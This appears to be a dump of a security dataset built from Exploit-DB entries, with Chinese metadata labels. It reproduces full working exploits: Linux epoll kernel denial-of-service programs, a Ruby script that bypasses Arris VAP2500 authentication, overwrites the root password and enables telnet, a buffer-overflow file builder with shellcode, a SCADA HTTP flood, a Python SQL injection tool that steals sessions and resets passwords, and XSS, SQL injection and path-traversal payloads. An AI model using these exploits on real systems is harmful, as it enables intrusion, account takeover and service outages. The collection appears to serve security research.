QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.6.x - fs/eventpoll.c epoll Data Structure File Descriptor Local Denial of Service EDB-ID: 35404 CVE: 2011-1082 类型: DOS 平台: LINUX 发布日期: 2011-03-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/46630/info
 
The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.
 
Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. 
*/

#include <unistd.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <stdio.h>

#define SIZE 250

int main(void) {

 int links[SIZE];
 int links2[SIZE];
 int links3[SIZE];
 int links4[SIZE];
 int i, j;
 int ret;
 int ep1, ep2;
 struct timeval start, end;

 struct epoll_event evt = {
  .events = EPOLLIN
 };

 ep1 = epoll_create(1);
 for (i = 0; i < SIZE; i++) {
  links[i] = epoll_create(1);
  ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
  if (ret)
   perror("error 1");
 }
 for (i = 0; i < SIZE; i++) {
  links2[i] = epoll_create(1);
  for (j = 0; j < SIZE; j++) {
   epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
   if (ret)
    perror("error 2");
  }
 }
 for (i = 0; i < SIZE; i++) {
  links3[i] = epoll_create(1);
  for (j = 0; j < SIZE; j++) {
   epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
   if (ret)
    perror("error 3");
  }
 }
 for (i = 0; i < SIZE; i++) {
  links4[i] = epoll_create(1);
  for (j = 0; j < SIZE; j++) {
   epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
   if (ret)
    perror("error 4");
  }
 }

  ep2 = epoll_create(1);
 gettimeofday(&start, NULL);
 ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
 /* creates a loop */
 //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
 if (ret)
  perror("error 5");
 gettimeofday(&end, NULL);

 printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
  - (start.tv_sec * 1000000 + start.tv_usec)));

 return 0;

} URL: https://www.exploit-db.com/exploits/35404
标题: CCH Wolters Kluwer PFX Engagement 7.1 - Local Privilege Escalation EDB-ID: 35395 CVE: 2014-9113 类型: LOCAL 平台: WINDOWS 发布日期: 2014-11-28 漏洞利用脚本: # Exploit Title: CCH Wolters Kluwer PFX Engagement <= v7.1 Local Privilege
Escalation


# Date: 11/26/14
# Exploit Author: singularitysec@gmail.com
# Vendor Homepage: www.cchgroup.com

# Version: PFX Engagement <= v7.1
# Tested on: Windows XP -> Windows 8, 2003, 2008, 2012
# CVE : 2014-9113


Product Affected:
CCH Wolters Kluwer PFX Engagement <= v7.1
This vulnerability has been reference checked this against multiple
installs. This configuration was identical across all systems and each
version encountered.
Executables/Services:

Pfx.Engagement.WcfServices
PFXEngDesktopService
PFXSYNPFTService
P2EWinService
Attack Detail:
The PFX services for engagement install with LOCAL SYSTEM service
credentials in the directory C:\PFX Engagement\

 [image: Inline image 1]


The executables that are installed, by default, allow AUTHENTICATED USERS
to modify, replace or alter the file. This would allow an attacker to
inject their code or replace the executable and have it run in the context
of the system.
[image: Inline image 2]
This would allow complete compromise of a machine on which it was
installed, giving the process LOCAL SYSTEM access to the machine in
question. An attacker can replace the file or append code to the
executable, reboot the system or restart the service and it would then
 compromise the machine. As LOCAL SYSTEM is the highest privilege level on
a machine, this allows total control and access to all parts of the system.
This affects both the server and workstation builds.

Remediation:

Remove the modify/write permissions on the executables to allow only
privileged users to alter the files.
Apply vendor patch when distributed.


Vulnerability Discovered: 11/26/2014
Vendor Notified: 11/26/2014
Vendor states this will be patched with next software update.

Website: www.information-paradox.net
This vulnerability was discovered by singularitysec@gmail.com. Please
credit the author in all references to this exploit. URL: https://www.exploit-db.com/exploits/35395
标题: Linux Kernel 2.6.x - epoll Nested Structures Local Denial of Service EDB-ID: 35403 CVE: 2011-1083 类型: DOS 平台: LINUX 发布日期: 2011-03-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/46630/info

The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. 
*/


#include <unistd.h>
 #include <sys/epoll.h>
 int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

     epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);

     return 0;
 } URL: https://www.exploit-db.com/exploits/35403
标题: Logwatch Log File - Special Characters Privilege Escalation EDB-ID: 35386 CVE: 2011-1018 类型: REMOTE 平台: LINUX 发布日期: 2011-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/46554/info

Logwatch is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue execute arbitrary code with superuser privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 

% echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â?? URL: https://www.exploit-db.com/exploits/35386
标题: WordPress Plugin Google Document Embedder 2.5.14 - SQL Injection EDB-ID: 35371 CVE: 2014-9173 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-25 漏洞利用脚本: # Exploit Title: Google Doc Embedder 2.5.14 SQL Injection
# Date: 10-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/google-document-embedder.2.5.14.zip
# Category: webapps
  
1. Description
  
$_GET['gpid'] is not escaped.

File: google-document-embedder\view.php
if ( isset( $_GET['gpid'] ) ) {
 if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
  $tb = $profile['tb_flags'];
  $vw = $profile['vw_flags'];
  $bg = $profile['vw_bgcolor'];
  $css = $profile['vw_css'];
 }
}

So we control $id.

File: google-document-embedder\view.php
function gde_get_profile( $id ) {
 global $wpdb;
 $table = $wpdb->prefix . 'gde_profiles';

 $profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
 $profile = unserialize($profile[0]['profile_data']);

 if ( is_array($profile) ) {
  return $profile;
 } else {
  return false;
 }
}

http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html
  
2. Proof of Concept
  
http://wordpress-install/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
  
3. Solution:
  
Update to version 2.5.15
https://downloads.wordpress.org/plugin/google-document-embedder.2.5.15.zip
https://plugins.trac.wordpress.org/changeset/1023572/google-document-embedder URL: https://www.exploit-db.com/exploits/35371
标题: Arris VAP2500 - Authentication Bypass EDB-ID: 35372 CVE: 2014-8425 2014-8424 2014-8423 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-11-25 漏洞利用脚本: #!/usr/bin/env ruby

require 'net/http'
require 'digest/md5'

if !ARGV[0]
  puts "Usage: #{$0} <vap2500_ip_address>"
  exit(0)
end

host = ARGV[0]
new_pass = "h4x0r3d!"

http = Net::HTTP.new(host).start
users = nil
users = http.request_get("/admin.conf").body.split("\n").map! {|user| user.sub(/^(.*?),.*$/,"\\1")}

if users
  puts "[*] found user accounts: #{users.inspect}"
  puts "[*] checking for root privs"
else
  puts "[!!!] could not find any user accounts. exiting."
  exit(-1)
end

root_privs = nil
users.each {|user|
  if http.request_post("/tools_command.php","cmb_header=&txt_command=whoami",{"Cookie" => "p=#{Digest::MD5.hexdigest(user)}"}).body =~ /root/
    puts "[*] root privs found: #{user}"
    root_privs = user
    break
  end
}

if !root_privs
  puts "[!!!] could not find a root priv account. exiting."
  exit(-1)
end

puts "[*] modifying root password"
new_hash = new_pass.crypt("$1$#{new_pass}$").gsub("$","\\$")
http.request_post("/tools_command.php","cmb_header=&txt_command=sed -i -r \"s/root:[^:]*:(.*)/root:#{new_hash}:\\1/g\" /etc/shadow",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"})

puts "[*] enabling telnet"
if http.request_post("/tools_command.php","cmb_header=&txt_command=rm /mnt/jffs2/telnet-disabled; sh /etc/init.d/S42inetd start",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"}).body =~ /Starting inetd/
  puts "[*] success! telnet to #{host} (user:root pass:#{new_pass})"
else
  puts "[!!!] couldn't start telnet"
end URL: https://www.exploit-db.com/exploits/35372
标题: IBM Lotus Sametime Server 8.0 - 'stcenter.nsf' Cross-Site Scripting EDB-ID: 35374 CVE: 2011-1106 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/46481/info

IBM Lotus Sametime Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/stcenter.nsf?OpenDatabase&authReasonCode="><script>alert(document.cookie);</script>" URL: https://www.exploit-db.com/exploits/35374
标题: WordPress Plugin DB Backup - Arbitrary File Download EDB-ID: 35378 CVE: 2014-9119 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-26 漏洞利用脚本: |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
|-------------------------------------------------------------------------|
|[*] Exploit Title: Wordpress db-backup plugin File Download Vulnerability
|
|[*] Google Dork: inurl:wp-content/plugins/db-backup/
|
|[*] Date : Date: 2014-11-26
|
|[*] Exploit Author: Ashiyane Digital Security Team
|
|[*] Vendor Homepage : https://wordpress.org/plugins/wp-database-backup/
|
|[*] Plugin Link : https://downloads.wordpress.org/plugin/wp-database-backup.zip
|
|[*] Tested on: Windows 7
|
|[*] Discovered By : ACC3SS
|
|-------------------------------------------------------------------------|
|
|[*] Location :[localhost]/wp-content/plugins/db-backup/download.php?file=/etc/passwd
|
|-------------------------------------------------------------------------|
|
|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| URL: https://www.exploit-db.com/exploits/35378
标题: Elipse E3 - HTTP Denial of Service EDB-ID: 35379 CVE: 2014-8652 类型: DOS 平台: WINDOWS 发布日期: 2014-11-26 漏洞利用脚本: // Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho@gmail.com
// 29-10-2013 11:42
// Vendor Homepage: http://www.elipse.com.br/port/index.aspx
// Software Link: http://www.elipse.com.br/port/e3.aspx
// Version: 3.x and prior
// Tested on: windows
// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// compile and execute:
// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go

package main

import (
 "fmt"
 "io/ioutil"
 "log"
 "net/http"
)

func main() {
 count := 1
// fmt.Println ("")
// fmt.Println ("   _____.__              ___.   .__  __           ")
// fmt.Println (" _/ ____\__|______   ____\_ |__ |__|/  |_  ______ ")
// fmt.Println (" \   __\|  \_  __ \_/ __ \| __ \|  \   __\/  ___/ ")
// fmt.Println (" |  |  |  ||  | \/\  ___/| \_\ \  ||  |  \___ \  ")
// fmt.Println (" |__|  |__||__|    \___  >___  /__||__| /____  > ")
// fmt.Println ("                       \/    \/              \/  ")
// fmt.Println ("      bits on fire. ")
 fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
 fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
 fmt.Println ("29-10-2013 11:42")
    fmt.Println ("mauro.risonho@gmail.com")
 fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
 fmt.Println ("20 requests connections per second")

 for {
  count += count
  //http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>

  fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
  fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
  fmt.Println ("29-10-2013 11:42")
        fmt.Println ("mauro.risonho@gmail.com")
  fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
  fmt.Println ("20 requests connections")

  fmt.Println ("Connected Port 1681...Testing")
        fmt.Println ("Counter Loops: ", count)

  res, err := http.Get("http://192.168.0.1:1681/index.html")
  if err != nil {
   log.Fatal(err)
  }
   robots, err := ioutil.ReadAll(res.Body)
   res.Body.Close()
   if err != nil {
   log.Fatal(err)
  }
  fmt.Printf("%s", robots)
 }
} URL: https://www.exploit-db.com/exploits/35379
标题: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - '.wax' Local Buffer Overflow (SEH) EDB-ID: 35377 CVE: 2014-9448 类型: LOCAL 平台: WINDOWS 发布日期: 2014-11-26 漏洞利用脚本: #!/usr/bin/env ruby
# Exploit Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 (.wax) SEH Buffer Overflow
# Date: 26.11.2014
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>
# Vendor Homepage: not valid anymore
# Software Link: not available
# Version: 3.1.2.1.2010.03.30
# Discovery: ZoRLu / zorlu@milw00rm.com
# Tested on: Microsoft Windows XP [Version 5.1.2600]

filename = "3-1-2-1-gb.wax"

seh  = 43501
buff = "\x41" * 45000
nops = "\x90" * 16

# ./msfvenom -p windows/exec CMD=calc EXITFUNC=thread -b "\x00\x0a\x0d\x0c\x20" -e x86/shikata_ga_nai -f ruby
sc =
"\xbe\x97\xd4\x64\xe7\xda\xdf\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x72\x0e\x03\xe5\xda\x86\x12\xf5" +
"\x0b\xcf\xdd\x05\xcc\xb0\x54\xe0\xfd\xe2\x03\x61\xaf\x32" +
"\x47\x27\x5c\xb8\x05\xd3\xd7\xcc\x81\xd4\x50\x7a\xf4\xdb" +
"\x61\x4a\x38\xb7\xa2\xcc\xc4\xc5\xf6\x2e\xf4\x06\x0b\x2e" +
"\x31\x7a\xe4\x62\xea\xf1\x57\x93\x9f\x47\x64\x92\x4f\xcc" +
"\xd4\xec\xea\x12\xa0\x46\xf4\x42\x19\xdc\xbe\x7a\x11\xba" +
"\x1e\x7b\xf6\xd8\x63\x32\x73\x2a\x17\xc5\x55\x62\xd8\xf4" +
"\x99\x29\xe7\x39\x14\x33\x2f\xfd\xc7\x46\x5b\xfe\x7a\x51" +
"\x98\x7d\xa1\xd4\x3d\x25\x22\x4e\xe6\xd4\xe7\x09\x6d\xda" +
"\x4c\x5d\x29\xfe\x53\xb2\x41\xfa\xd8\x35\x86\x8b\x9b\x11" +
"\x02\xd0\x78\x3b\x13\xbc\x2f\x44\x43\x18\x8f\xe0\x0f\x8a" +
"\xc4\x93\x4d\xc0\x1b\x11\xe8\xad\x1c\x29\xf3\x9d\x74\x18" +
"\x78\x72\x02\xa5\xab\x37\xec\x47\x7e\x4d\x85\xd1\xeb\xec" +
"\xc8\xe1\xc1\x32\xf5\x61\xe0\xca\x02\x79\x81\xcf\x4f\x3d" +
"\x79\xbd\xc0\xa8\x7d\x12\xe0\xf8\x1d\xf5\x72\x60\xe2"

buff[seh-4,4] = "\xeb\x0e\x90\x90"
buff[seh,4] = [0x10031659].pack("V").force_encoding("utf-8")
buff[seh+4,nops.size] = nops
buff[seh+(4+nops.size),sc.size] = sc

File.open(filename,"wb") do |fp|
  fp.write(buff)
  fp.close
  puts "Exploit file created: #{filename} size: #{buff.size}"
end URL: https://www.exploit-db.com/exploits/35377
标题: IBM Lotus Sametime - '/stconf.nsf/WebMessage?messageString' Cross-Site Scripting EDB-ID: 35364 CVE: 2011-1038 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/46471/info

IBM Lotus Sametime Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

IBM Lotus Sametime 8.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/stconf.nsf/WebMessage?OpenView&messageString=";><script>alert("XSS!")</script># URL: https://www.exploit-db.com/exploits/35364
标题: WSN Guest 1.24 - 'wsnuser' Cookie SQL Injection EDB-ID: 35360 CVE: 2011-1060 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/46444/info

WSN Guest is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

WSN Guest 1.24 is vulnerable; other versions may also be vulnerable. 

GET /wsnguest/index.php?debug=1 HTTP/1.0
Host: www.example.com
Cookie: wsnuser=[SQL Injection] URL: https://www.exploit-db.com/exploits/35360
标题: tcpdump 4.6.2 - Geonet Decoder Denial of Service EDB-ID: 35359 CVE: 2014-8768 类型: DOS 平台: MULTIPLE 发布日期: 2014-11-24 漏洞利用脚本: CVE-2014-8768 tcpdump denial of service in verbose mode using malformed 
Geonet payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (Geonet-based) can lead 
to an application crash (denial of service) if verbose output of tcpdump 
monitoring the network is used.

3. Technical Description

The application decoder for the geonet protocol fails to perform 
external input validation and performs insufficient checking on length 
computations leading to an unsafe decrement and underflow in the function

geonet_print(netdissect_options *ndo, const u_char *eth, const u_char 
*bp, u_int length)

The affected variable is length which is later on used to print a memory 
chunk which eventually leads to a segfault. The function contains 
several unsafe computations updating the length variable.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

geonet_frame = 
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"

s.send(geonet_frame)

4. Affected versions

Affected versions are 4.5.0 through 4.6.2

(segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04, 
but not reliably in 4.6.2. Code audit showed that unsafe computations 
are performed in 4.6.2, but the trigger frame might need to look different).

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski. URL: https://www.exploit-db.com/exploits/35359
标题: PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference Denial of Service EDB-ID: 35354 CVE: 2011-0420 类型: DOS 平台: PHP 发布日期: 2011-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/46429/info

PHP is prone to a denial-of-service vulnerability caused by a NULL-pointer dereference.

An attacker can exploit this issue to cause an appliation written in PHP to crash, denying service to legitimate users.

PHP 5.3.5 is vulnerable; other versions may also be affected. 

The following proof-of-concept is available:

grapheme_extract('a',-1); URL: https://www.exploit-db.com/exploits/35354
标题: PHPMyRecipes 1.2.2 - 'dosearch.php?words_exact' SQL Injection EDB-ID: 35365 CVE: 2014-9347 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-25 漏洞利用脚本: #!/usr/bin/python

import httplib
from bs4 import BeautifulSoup
import re
import os

###########
# Function that takes an SQL select statement and inject it into the words_exact variable of dosearch.php 
# Returns BeautifulSoup object 
###########
def sqli(select):
  inject = '"\' IN BOOLEAN MODE) UNION ' + select + '#'
  body = 'words_all=&words_exact=' + inject + '&words_any=&words_without=&name_exact=&ing_modifier=2'
  c = httplib.HTTPConnection('127.0.0.1:80')
  c.request("POST", '/phpMyRecipes/dosearch.php', body, headers)
  r = c.getresponse()
  html = r.read()
  return BeautifulSoup(html)

#############
# Variables #
#############
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Endocing": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded"}
select = 'SELECT userid,sessionID from sessions;'   # Modify the select statement to see what else you can do
data = {}

###########
# Run Injection and see what comes back
###########
soup = sqli(select)

###########
# Parse returned information with BeautifulSoup- store in data dictionary
###########
for ID in soup("a", text=re.compile(r"^.{32}$")):
  data[ID.string] = {}
  values = ['userid','username','cookieOK','privs','ts']
  for value in values:
   #select = "SELECT NULL,userid from sessions where sessionID='" + ID.string + "';"
   select = "SELECT NULL," + value + " from sessions where sessionID='" + ID.string + "';"
   soup = sqli(select)
   rval = soup("a")[-1].string
   data[ID.string][value] = rval

###########
# Loop through data- print session information and decide if you want to change a user's password
###########
for sessionid,values in data.iteritems():
 print "Session ID: " + sessionid
 for field,value in values.iteritems():
  print "\t" + field + ": " + value
 print("Do you want to change this user's password? (y/N)"),
 ans = 'N'
 ans = raw_input()
 goforth = re.compile("[Yy].*")
 if goforth.match(ans):
  print("Enter new password: "),
  os.system("stty -echo")
  password1 = raw_input()
  os.system("stty echo")
  print("\nAgain with the password: "),
  os.system("stty -echo")
  password2 = raw_input()
  os.system("stty echo")
  print ("")
  if password1 == password2:
   body = 'sid=' + sessionid + '&username=' + data[sessionid]['username'] + '&name=Hacked&email=hacked%40hacked.com&password1=' + password1 + '&password2=' + password1
   c = httplib.HTTPConnection('127.0.0.1:80')
   c.request("POST", '/phpMyRecipes/profile.php', body, headers)
   r = c.getresponse()
   html = r.read()
   print ("===================================")
   print BeautifulSoup(html)("p",{"class": "content"})[0].string
   print ("===================================\n\n")
  else:
   print "Passwords did not match" URL: https://www.exploit-db.com/exploits/35365